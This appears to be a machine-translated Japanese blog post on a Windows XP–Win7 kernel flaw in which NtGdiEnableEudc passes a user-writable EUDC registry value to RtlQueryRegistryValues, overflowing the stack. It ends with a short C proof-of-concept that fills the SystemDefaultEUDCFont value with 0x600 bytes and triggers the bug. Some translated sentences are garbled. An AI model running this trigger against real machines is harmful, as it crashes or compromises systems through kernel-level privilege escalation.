新しい脆弱性により、Win7 / VistaでUACをバイパスして特権が昇格される

システムレベルのローカル権限を増加させる興味深い脆弱性が、コードプロジェクト(http://www.codeproject.com/KB/vista-security/uac.aspx)の記事として11月24日に登場しました。 ほんの数時間後、このリソースから削除されましたが、情報はすでにネットワーク全体に広がっていたため、削除することは無意味でした。 XPからVista / Win7までのシステムで権限を増やすことができ、サーバーバージョンも攻撃を受けています。 さらに興味深いことに、この脆弱性はx86システムとx64の両方に関連しています。 確かに、提示されたPoCコードはx86システムでのみ正常に起動されました。









この理由は、WinAPI関数RtlQueryRegistryValues()



パラメーターの制御が不十分であるためです。



NTSTATUS RtlQueryRegistryValues(

__in ULONG RelativeTo,

__in PCWSTR Path,

__inout PRTL_QUERY_REGISTRY_TABLE QueryTable,

__in_opt PVOID Context,

__in_opt PVOID Environment

);








この関数は、複数のレジストリパラメータを一度に取得し、 _RTL_QUERY_REGISTRY_TABLE



構造体に結果を_RTL_QUERY_REGISTRY_TABLE



するために使用されます。



typedef struct _RTL_QUERY_REGISTRY_TABLE {

PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;

ULONG Flags;

PWSTR Name;

PVOID EntryContext;

ULONG DefaultType;

PVOID DefaultData;

ULONG DefaultLength;

} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;








EntryContext



フィールドでは、この構造から出力バッファーのタイプが決定され、ここで興味深いニュアンスがULONG



ます。バッファーはULONG



構造またはULONG



値のバッファーとして解釈できます。



typedef struct _UNICODE_STRING {

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, *PUNICODE_STRING;








このバッファーを埋めることにより、要求が行われたレジストリキーの種類が決定されます。 すべて問題ありませんが、レジストリキーHKCU\EUDC\[Language]\SystemDefaultEUDCFon



tが見つかりました。これは、ユーザー権限でのみアクセスでき、 Win32k.sys->NtGdiEnableEudc()



呼び出すことでREG_BINARY



変更できます。 この関数の操作中、最初のULONG



値がバッファー長を解釈するUNICODE_STRING



構造として、 REG_SZ



レジストリ値とバッファーがスタックに配置されると想定されREG_BINARY



が、レジストリ値がREG_BINARY



として提示される場合、従来のスタックオーバーフローが発生します。







これらすべてのニュアンスを考慮して、PoC(by noobpwnftw)が開発されました。これは、スタック上の戻りアドレスを上書きするレジストリの値を形成し、カーネルモードのコードで任意のバッファーを実行します。



脆弱性の詳細な説明はこちらにあります。



http://www.kb.cert.org/vuls/id/529673

http://secunia.com/advisories/42356



d_olexからの代替PoC( オリジナル ):

#define EUDC_FONT_VAL "SystemDefaultEUDCFont"



int _tmain( int argc, _TCHAR* argv[])

{

HKEY hKey;

char szKeyName[MAX_PATH], Buff[0x600];



sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d" , GetACP());



//

LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);

if (Code != ERROR_SUCCESS)

{

printf( "ERROR: RegCreateKey() fails with status %d\n" , Code);

return -1;

}



//

RegDeleteValue(hKey, EUDC_FONT_VAL);



// "SystemDefaultEUDCFont" REG_BINARY

FillMemory(Buff, sizeof (Buff), 'A' );

Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);



RegCloseKey(hKey);



if (Code != ERROR_SUCCESS)

{

printf( "ERROR: RegSetValueEx() fails with status %d\n" , Code);

return -1;

}



//

EnableEUDC(TRUE);



return 0;

}







All Articles